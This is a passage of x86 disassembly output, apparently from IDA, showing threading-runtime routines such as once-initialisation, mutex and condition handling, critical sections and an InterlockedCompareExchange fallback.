; ---------------------------------------------------------------------------


loc_432132:				; CODE XREF: sub_432100+17j
		lea	eax, [esp+14h+var_C]
		push	eax
		nop
		call	near ptr 77C49113h
		mov	ecx, [esi+4]
		mov	eax, 431BDE83h
		add	ecx, 7A120h
		add	esp, 4
		mul	ecx
		mov	eax, [esi]
		mov	ecx, [esp+14h+var_C]
		shr	edx, 12h
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [ecx+ecx*4]
		shl	ecx, 3
		lea	eax, [edx+eax*8]
		mov	edx, [esp+14h+var_8]
		sub	eax, ecx
		and	edx, 0FFFFh
		sub	eax, edx
		jns	short loc_43211C
		pop	edi
		mov	eax, 2
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_43218C:				; CODE XREF: sub_432100+2Aj
		cmp	eax, 102h
		jnz	short loc_43219E
		pop	edi
		mov	eax, 1
		pop	esi
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_43219E:				; CODE XREF: sub_432100+Bj
					; sub_432100+91j
		nop
		call	near ptr 77C1F2BCh
		mov	dword ptr [eax], 16h
		pop	edi
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 0Ch
		retn
sub_432100	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4321F0	proc near		; CODE XREF: sub_4010C3j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	ebx
		xor	ebx, ebx
		push	esi
		cmp	eax, ebx
		jz	loc_432290
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_432290
		cmp	esi, 0FFFFFFFFh
		push	edi
		jz	short loc_432285
		mov	eax, [esi+0Ch]
		mov	edi, 1
		cmp	eax, edi
		jz	short loc_43223A
		call	sub_4012E4
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_401A64
		add	esp, 8
		test	eax, eax
		jnz	short loc_43223A
		mov	ebx, edi
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43223A:				; CODE XREF: sub_4321F0+2Aj
					; sub_4321F0+40j
		cmp	[esi+8], edi
		jnz	short loc_432248
		mov	eax, [esi+4]
		dec	eax
		mov	[esi+4], eax
		jnz	short loc_43228A


loc_432248:				; CODE XREF: sub_4321F0+4Dj
		lea	edi, [esi+14h]
		mov	[esi+0Ch], ebx
		push	edi
		nop
		call	near ptr 7C901005h
		push	esi
		nop
		call	near ptr 2780968h
		test	eax, eax
		jl	short loc_432278
		add	esi, 10h
		push	esi
		call	sub_40103C
		add	esp, 4
		test	eax, eax
		jz	short loc_432278
		call	near ptr 77C1F2BCh
		nop
		mov	ebx, [eax]


loc_432278:				; CODE XREF: sub_4321F0+6Ej
					; sub_4321F0+7Ej
		push	edi
		nop
		call	near ptr 7C9010EDh
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432285:				; CODE XREF: sub_4321F0+1Ej
		mov	ebx, 16h


loc_43228A:				; CODE XREF: sub_4321F0+56j
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432290:				; CODE XREF: sub_4321F0+Aj
					; sub_4321F0+14j
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
sub_4321F0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4322D0	proc near		; CODE XREF: sub_401785j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		xor	edi, edi
		test	esi, esi
		jz	short loc_432355
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_432355
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4322F2
		push	esi
		call	sub_401C17
		add	esp, 4
		mov	edi, eax


loc_4322F2:				; CODE XREF: sub_4322D0+15j
		mov	esi, [esi]
		test	edi, edi
		jnz	short loc_432350
		push	0FFFFFFFFh
		push	edi
		push	esi
		call	dword_5103D8	; InterlockedCompareExchange
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432323
		mov	ecx, [esi+8]
		mov	eax, 1
		test	ecx, ecx
		mov	[esi+4], eax
		jz	short loc_43231B
		call	sub_4012E4
; ---------------------------------------------------------------------------


loc_43231B:				; CODE XREF: sub_4322D0+44j
		mov	[esi+0Ch], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432323:				; CODE XREF: sub_4322D0+35j
		cmp	dword ptr [esi+8], 1
		jnz	short loc_43234B
		call	sub_4012E4
; ---------------------------------------------------------------------------
		push	eax
		mov	eax, [esi+0Ch]
		push	eax
		call	sub_401A64
		add	esp, 8
		test	eax, eax
		jz	short loc_43234B
		mov	eax, [esi+4]
		inc	eax
		mov	[esi+4], eax
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43234B:				; CODE XREF: sub_4322D0+57j
					; sub_4322D0+6Dj
		mov	edi, 10h


loc_432350:				; CODE XREF: sub_4322D0+26j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432355:				; CODE XREF: sub_4322D0+Aj
					; sub_4322D0+10j
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
sub_4322D0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432390:				; CODE XREF: ___:0040193Dj
		mov	eax, [esp+8]
		mov	ecx, [esp+4]
		push	eax
		push	ecx
		call	sub_40119A
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4323C0:				; CODE XREF: ___:00401591j
		mov	eax, [esp+8]
		mov	ecx, [esp+4]
		push	eax
		push	ecx
		call	sub_4018CF
		add	esp, 8
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4323F0:				; CODE XREF: ___:00401497j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_4323FC
		mov	eax, [eax+4]
		retn
; ---------------------------------------------------------------------------


loc_4323FC:				; CODE XREF: ___:004323F6j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432410:				; CODE XREF: ___:00401C12j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		push	edi
		jnz	short loc_432422
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432422:				; CODE XREF: ___:00432418j
		mov	esi, [eax]
		test	esi, esi
		jnz	short loc_432445
		mov	ecx, [eax+4]
		test	ecx, ecx
		jnz	short loc_432445
		call	sub_401D02
; ---------------------------------------------------------------------------
		dd 0DBC6E856h, 0E8900240h, 0FFFCF8C2h, 5EC0335Fh
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_432445:				; CODE XREF: ___:00432426j
					; ___:0043242Dj
		mov	ecx, [eax+4]
		mov	eax, 431BDE83h
		add	ecx, 0F423Fh
		imul	ecx
		sar	edx, 12h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		lea	eax, [esi+esi*4]
		lea	eax, [eax+eax*4]
		lea	ecx, [eax+eax*4]
		lea	edi, [edx+ecx*8]
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	esi, eax
		test	esi, esi
		jnz	short loc_43247E
		pop	edi
		mov	eax, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_43247E:				; CODE XREF: ___:00432474j
		mov	eax, [esi+30h]
		push	edi
		test	eax, eax
		jnz	short loc_4324E6
		mov	edx, [esi+38h]
		push	edx
		nop
		call	near ptr 27806AAh
		test	eax, eax
		jnz	short loc_4324D7
		lea	edi, [esi+2Ch]
		push	edi
		call	sub_402248
		mov	eax, [esi+0Ch]
		add	esp, 4
		cmp	eax, 3
		jge	short loc_4324C6
		push	edi
		mov	dword ptr [esi+0Ch], 3
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DED
; ---------------------------------------------------------------------------
		add	esp, 8


loc_4324C6:				; CODE XREF: ___:004324A6j
		push	edi
		call	sub_4010C3
		add	esp, 4
		mov	eax, 3
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4324D7:				; CODE XREF: ___:00432492j
		cmp	eax, 102h
		jz	short loc_4324EC
		pop	edi
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_4324E6:				; CODE XREF: ___:00432484j
		call	near ptr 2840000h
		nop


loc_4324EC:				; CODE XREF: ___:004324DCj
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432540:				; CODE XREF: ___:00401014j
		push	ecx
		lea	eax, [esp+0]
		push	eax
		call	sub_401C3A
		add	esp, 4
		test	eax, eax
		mov	eax, 1
		jnz	short loc_43255B
		mov	eax, [esp+0]


loc_43255B:				; CODE XREF: ___:00432555j
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432570	proc near		; CODE XREF: sub_401712j
		push	esi
		call	sub_401320
		push	offset aKernel32_dll ; "KERNEL32.DLL"
		mov	esi, eax
		nop
		call	near ptr 27F0920h
		push	offset aInterlockedcom ; "InterlockedCompareExchange"
		push	eax
		mov	dword_5103BC, eax
		call	near ptr 28A0416h
		nop
		test	eax, eax
		mov	dword_5103D8, eax
		jnz	short loc_4325BD
		mov	eax, dword_5103BC
		mov	dword_5103D8, offset sub_4012D0
		push	eax
		nop
		call	near ptr 27602C6h
		mov	dword_5103BC, 0


loc_4325BD:				; CODE XREF: sub_432570+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_432570	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4325F0	proc near		; CODE XREF: sub_401627j
		mov	eax, dword_5103C0
		test	eax, eax
		jz	short loc_432640
		mov	eax, dword_5103C4
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		dd 8504C483h, 832074C0h, 75012078h, 0A0E8501Ah,	8BFFFCF1h
		dd 5103C40Dh, 4C48300h,	6A118Bh, 0D9D6E852h, 0E8900232h
		dd 0FFFCF015h, 5103BCA1h, 74C08500h, 0E8905007h, 232DC86h
; ---------------------------------------------------------------------------


loc_432640:				; CODE XREF: sub_4325F0+7j
		mov	eax, 1
		retn
sub_4325F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432670	proc near		; CODE XREF: sub_4017BCj
		mov	eax, 1
		retn
sub_432670	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432690	proc near		; CODE XREF: sub_4017CBj
		mov	eax, dword_5103C0
		test	eax, eax
		jz	short loc_4326CB
		mov	eax, dword_5103C4
		push	eax
		call	sub_401190
; ---------------------------------------------------------------------------
		dd 8504C483h, 832074C0h, 75012078h, 0E8501Ah, 8BFFFCF1h
		dd 5103C40Dh, 4C48300h,	6A118Bh, 0D936E852h
; ---------------------------------------------------------------------------
		xor	al, [edx]
		nop


loc_4326CB:				; CODE XREF: sub_432690+7j
		mov	eax, 1
		retn
sub_432690	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432700:				; CODE XREF: ___:0040225Cj
		push	ecx
		push	esi
		push	offset dword_5109A0
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	eax, dword_5103CC
		test	eax, eax
		mov	[esp+4], eax
		jz	short loc_43273E


loc_43271C:				; CODE XREF: ___:0043273Cj
		test	esi, esi
		jnz	short loc_43273E
		lea	eax, [esp+4]
		push	eax
		call	sub_40160E
		mov	ecx, [esp+8]
		mov	esi, eax
		add	esp, 4
		mov	eax, [ecx+18h]
		test	eax, eax
		mov	[esp+4], eax
		jnz	short loc_43271C


loc_43273E:				; CODE XREF: ___:0043271Aj
					; ___:0043271Ej
		push	offset dword_5109A0
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		neg	eax
		sbb	eax, eax
		and	eax, 0Bh
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432780	proc near		; CODE XREF: sub_4012B7j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jz	short loc_432799
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_432799
		cmp	dword ptr [eax], 0C4C0FFEEh
		jnz	short loc_432799
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_432799:				; CODE XREF: sub_432780+6j
					; sub_432780+Cj ...
		mov	eax, 1
		retn
sub_432780	endp

; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4327B0	proc near		; CODE XREF: sub_401320j
		mov	eax, dword_5103C0
		test	eax, eax
		jz	short loc_4327BF
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------


loc_4327BF:				; CODE XREF: sub_4327B0+7j
		push	0
		push	offset dword_5103C4
		mov	dword_5103C0, 1
		call	sub_401609
		add	esp, 8
		test	eax, eax
		jnz	short loc_4327EE
		push	eax
		push	offset dword_5103C8
		call	sub_401609
		add	esp, 8
		test	eax, eax
		jz	short loc_4327F3


loc_4327EE:				; CODE XREF: sub_4327B0+2Aj
		call	sub_401645


loc_4327F3:				; CODE XREF: sub_4327B0+3Cj
		push	esi
		mov	esi, dword_511868
		push	offset dword_5108E0
		call	esi
		push	offset dword_510940
		call	esi
		push	offset dword_5109A0
		call	esi
		push	offset dword_510920
		call	esi
		push	offset dword_510980
		call	esi
		push	offset dword_510960
		call	esi
		mov	eax, dword_5103C0
		pop	esi
		retn
sub_4327B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432850	proc near		; CODE XREF: sub_401645j
		mov	eax, dword_5103C0
		test	eax, eax
		jz	locret_432909
		mov	eax, dword_5103C4
		test	eax, eax
		jz	short loc_432879
		push	eax
		call	sub_401AB4
		add	esp, 4
		mov	dword_5103C4, 0


loc_432879:				; CODE XREF: sub_432850+14j
		mov	eax, dword_5103C8
		test	eax, eax
		jz	short loc_432895
		push	eax
		call	sub_401AB4
		add	esp, 4
		mov	dword_5103C8, 0


loc_432895:				; CODE XREF: sub_432850+30j
		push	esi
		push	offset dword_5108E0
		call	near ptr 7C901005h
		nop
		mov	eax, dword_447718
		cmp	eax, 1
		jz	short loc_4328C3
		push	edi
		mov	edi, dword_511AD0


loc_4328B2:				; CODE XREF: sub_432850+70j
		mov	esi, [eax+8]
		push	eax
		call	edi	; free
		add	esp, 4
		cmp	esi, 1
		mov	eax, esi
		jnz	short loc_4328B2
		pop	edi


loc_4328C3:				; CODE XREF: sub_432850+59j
		push	offset dword_5108E0
		nop
		call	near ptr 7C9010EDh
		mov	esi, dword_511864
		push	offset dword_510960
		call	esi
		push	offset dword_510980
		call	esi
		push	offset dword_510920
		call	esi
		push	offset dword_5109A0
		call	esi
		push	offset dword_510940
		call	esi
		push	offset dword_5108E0
		call	esi
		mov	dword_5103C0, 0
		pop	esi

locret_432909:				; CODE XREF: sub_432850+7j
		retn
sub_432850	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432940:				; CODE XREF: ___:loc_401BA9j
		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	eax
		mov	esi, [eax]
		mov	ecx, [eax+4]
		mov	edx, [eax+8]
		mov	[ebp-4], esi
		mov	[ebp-0Ch], ecx
		mov	[ebp-8], edx
		nop
		call	near ptr 77C2C21Bh
		mov	eax, dword_5103C4
		push	esi
		push	eax
		call	sub_4020F9
; ---------------------------------------------------------------------------
		mov	dword ptr [esi+0Ch], 1
		add	esi, 3Ch
		push	0
		push	esi
		call	sub_437D4C
; ---------------------------------------------------------------------------
		mov	edi, [ebp-4]
		add	esp, 14h
		test	eax, eax
		jnz	short loc_43299C
		mov	ecx, [ebp-8]
		push	ecx
		call	dword ptr [ebp-0Ch]
		add	esp, 4
		mov	[edi+14h], eax
		mov	esi, eax
		jmp	short loc_4329A8
; ---------------------------------------------------------------------------


loc_43299C:				; CODE XREF: ___:00432989j
		dec	eax
		jz	short loc_4329A5
		dec	eax
		or	esi, 0FFFFFFFFh
		jmp	short loc_4329A8
; ---------------------------------------------------------------------------


loc_4329A5:				; CODE XREF: ___:0043299Dj
		mov	esi, [edi+14h]


loc_4329A8:				; CODE XREF: ___:0043299Aj
					; ___:004329A3j
		cmp	dword ptr [edi+20h], 1
		jnz	short loc_4329C7
		call	sub_4017CB
		push	esi
		call	near ptr 77C3A307h
		nop
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------


loc_4329C7:				; CODE XREF: ___:004329ACj
		push	edi
		call	sub_40131B
		add	esp, 4
		push	esi
		nop
		call	near ptr 77C3A307h
		add	esp, 4
		mov	eax, esi
		pop	edi
		pop	esi
		mov	esp, ebp
		pop	ebp
		retn	4
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432A20	proc near		; CODE XREF: sub_4017B7j

var_84		= byte ptr -84h
var_80		= dword	ptr -80h
var_58		= byte ptr -58h
var_4C		= dword	ptr -4Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  4

		sub	esp, 84h
		push	ebx
		mov	ebx, [esp+88h+arg_0]
		test	ebx, ebx
		push	esi
		jz	short loc_432A9A
		lea	esi, [ebx+2Ch]
		push	edi
		push	esi
		call	sub_402248
		push	esi
		mov	dword ptr [ebx+0Ch], 5
		call	sub_4010C3
		push	ebx
		call	sub_40131B
		mov	ecx, 21h
		mov	esi, ebx
		lea	edi, [esp+9Ch+var_84]
		push	ebx
		rep movsd
		call	sub_401BD1
		mov	eax, [esp+0A0h+var_4C]
		mov	esi, dword_5118E0
		add	esp, 10h
		test	eax, eax
		pop	edi
		jz	short loc_432A78
		push	eax
		call	esi


loc_432A78:				; CODE XREF: sub_432A20+53j
		lea	eax, [esp+8Ch+var_58]
		push	eax
		call	sub_402252
		mov	eax, [esp+90h+var_80]
		add	esp, 4
		test	eax, eax
		jz	short loc_432A9A
		test	[esp+8Ch+var_8], 1
		jnz	short loc_432A9A
		push	eax
		call	esi


loc_432A9A:				; CODE XREF: sub_432A20+11j
					; sub_432A20+6Bj ...
		pop	esi
		pop	ebx
		add	esp, 84h
		retn
sub_432A20	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432AE0	proc near		; CODE XREF: sub_401DDEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		push	edi
		push	14h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_432B01
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 0Ch
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432B01:				; CODE XREF: sub_432AE0+15j
		mov	edi, [esp+10h+arg_8]
		mov	ebp, [esp+10h+arg_4]
		mov	dword ptr [esi], 0FFFFFFFFh
		mov	[esi+4], ebp
		lea	ebx, [edi+8]
		mov	[esi+8], edi
		push	ebx
		call	sub_402248
		add	esp, 4
		mov	[esp+10h+arg_4], eax
		test	eax, eax
		jz	short loc_432B42
		push	esi
		call	sub_402252
		push	esi
		nop
		call	near ptr 77C2C21Bh
		mov	eax, [esp+18h+arg_4]
		add	esp, 8
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_432B42:				; CODE XREF: sub_432AE0+47j
		mov	eax, [edi+0Ch]
		push	ebx
		mov	[esi+10h], eax
		mov	[edi+0Ch], esi
		call	sub_4010C3
		add	esp, 4
		test	ebp, ebp
		jz	short loc_432B67
		mov	ecx, [ebp+80h]
		mov	[esi+0Ch], ecx
		mov	[ebp+80h], esi


loc_432B67:				; CODE XREF: sub_432AE0+76j
		mov	edx, [esp+10h+arg_0]
		pop	edi
		xor	eax, eax
		mov	[edx], esi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_432AE0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432BB0	proc near		; CODE XREF: sub_40105Fj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_432BD7
		mov	eax, [esi+8]
		test	eax, eax
		jnz	short loc_432BD7
		mov	eax, [esi+4]
		test	eax, eax
		jnz	short loc_432BD7
		push	esi
		call	sub_402252
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 8


loc_432BD7:				; CODE XREF: sub_432BB0+7j
					; sub_432BB0+Ej ...
		pop	esi
		retn
sub_432BB0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432BF0	proc near		; CODE XREF: sub_40131Bj

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		test	ebx, ebx
		push	esi
		jz	short loc_432C5D
		mov	esi, [ebx+80h]
		test	esi, esi
		jz	short loc_432C5D
		push	edi


loc_432C05:				; CODE XREF: sub_432BF0+6Aj
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	short loc_432C58
		mov	edi, [esi+8]
		test	edi, edi
		jz	short loc_432C33
		push	edi
		call	sub_401190
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_432C33
		mov	edi, [edi+4]
		test	edi, edi
		jz	short loc_432C33
		push	eax
		call	edi	; free
		add	esp, 4


loc_432C33:				; CODE XREF: sub_432BF0+27j
					; sub_432BF0+34j ...
		mov	eax, [esi+0Ch]
		mov	dword ptr [esi+4], 0
		push	esi
		mov	[ebx+80h], eax
		call	sub_4010C3
		push	esi
		call	sub_40105F
		mov	esi, [ebx+80h]
		add	esp, 8


loc_432C58:				; CODE XREF: sub_432BF0+20j
		test	esi, esi
		jnz	short loc_432C05
		pop	edi


loc_432C5D:				; CODE XREF: sub_432BF0+8j
					; sub_432BF0+12j
		pop	esi
		pop	ebx
		retn
sub_432BF0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_432C80	proc near		; CODE XREF: sub_401DEDj
		mov	eax, dword_5103C4
		push	ebx
		push	edi
		push	eax
		call	sub_401190
sub_432C80	endp

; ---------------------------------------------------------------------------
		db 8Bh,	5Ch, 24h
		dd 4C48310h, 8B02FB83h,	830D74F8h, 87401FBh, 0D7E8016Ah
		dd 90778071h, 674FF85h,	17C47F6h, 8B562374h, 48F633C3h
		dd 75480874h, 0FFCE8308h, 778B03EBh, 0EB01E814h, 9056FFFCh
		dd 807636E8h, 4C48377h,	0E8016A5Eh, 0FFFCEE46h,	8304C483h
		dd 57533CC7h, 408AE890h, 90907780h, 90909090h, 8 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_432D10:				; CODE XREF: ___:00401B22j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jz	short loc_432D2F


loc_432D22:				; CODE XREF: ___:00432D2Dj
		push	esi
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	eax, eax
		jnz	short loc_432D22


loc_432D2F:				; CODE XREF: ___:00432D20j
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_432D50:				; CODE XREF: ___:00401DF7j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_432D70	proc near		; CODE XREF: sub_4012D0j

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	edx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	eax, [ebp+arg_8]
		lock cmpxchg [ecx], edx
		mov	[ebp+var_4], eax
		pop	edx
		pop	ecx
		mov	eax, [ebp+var_4]
		mov	esp, ebp
		pop	ebp
		retn	0Ch
sub_432D70	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432DB0	proc near		; CODE XREF: sub_401C3Aj

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  4

		sub	esp, 8
		lea	eax, [esp+8+var_4]
		lea	ecx, [esp+8+var_8]
		push	esi
		push	eax
		push	ecx
		xor	esi, esi
		call	near ptr 27A0BE4h
		nop
		push	eax
		nop
		call	near ptr 2750AFDh
		test	eax, eax
		jz	short loc_432DF2
		mov	edx, [esp+0Ch+var_8]
		xor	ecx, ecx
		mov	eax, 1


loc_432DDC:				; CODE XREF: sub_432DB0+33j
		test	eax, edx
		jz	short loc_432DE1
		inc	ecx


loc_432DE1:				; CODE XREF: sub_432DB0+2Ej
		shl	eax, 1
		jnz	short loc_432DDC
		mov	edx, [esp+0Ch+arg_0]
		mov	eax, esi
		pop	esi
		mov	[edx], ecx
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_432DF2:				; CODE XREF: sub_432DB0+1Fj
		mov	eax, 0Bh
		pop	esi
		add	esp, 8
		retn
sub_432DB0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432E20	proc near		; CODE XREF: sub_40185Cj

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_510980
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_432E54
		push	esi
		push	ecx
		call	sub_401F91
		add	esp, 8
		mov	esi, eax
		push	offset dword_510980
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432E54:				; CODE XREF: sub_432E20+17j
		test	eax, eax
		jnz	short loc_432E5D
		mov	esi, 16h


loc_432E5D:				; CODE XREF: sub_432E20+36j
		push	offset dword_510980
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_432E20	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432E90	proc near		; CODE XREF: sub_401861j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+14h]
		lea	ecx, [esi+4]
		neg	eax
		push	ecx
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		push	esi
		call	sub_4010C3
		add	esp, 8
		pop	esi
		retn
sub_432E90	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_432ED0	proc near		; CODE XREF: sub_401F91j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		xor	esi, esi
		test	eax, eax
		jnz	short loc_432EE2
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432EE2:				; CODE XREF: sub_432ED0+9j
		mov	eax, [esp+4+arg_4]
		push	ebx
		test	eax, eax
		push	edi
		jz	short loc_432F02
		cmp	dword ptr [eax], 0
		jz	short loc_432F02
		mov	ecx, [esp+0Ch+arg_0]
		mov	edi, 16h
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432F02:				; CODE XREF: sub_432ED0+1Aj
					; sub_432ED0+1Fj
		push	1Ch
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_432F26
		mov	ecx, [esp+0Ch+arg_0]
		mov	edi, 0Ch
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432F26:				; CODE XREF: sub_432ED0+43j
		push	0
		push	esi
		mov	dword ptr [esi+0Ch], 0
		mov	dword ptr [esi+10h], 0
		mov	dword ptr [esi+14h], 0
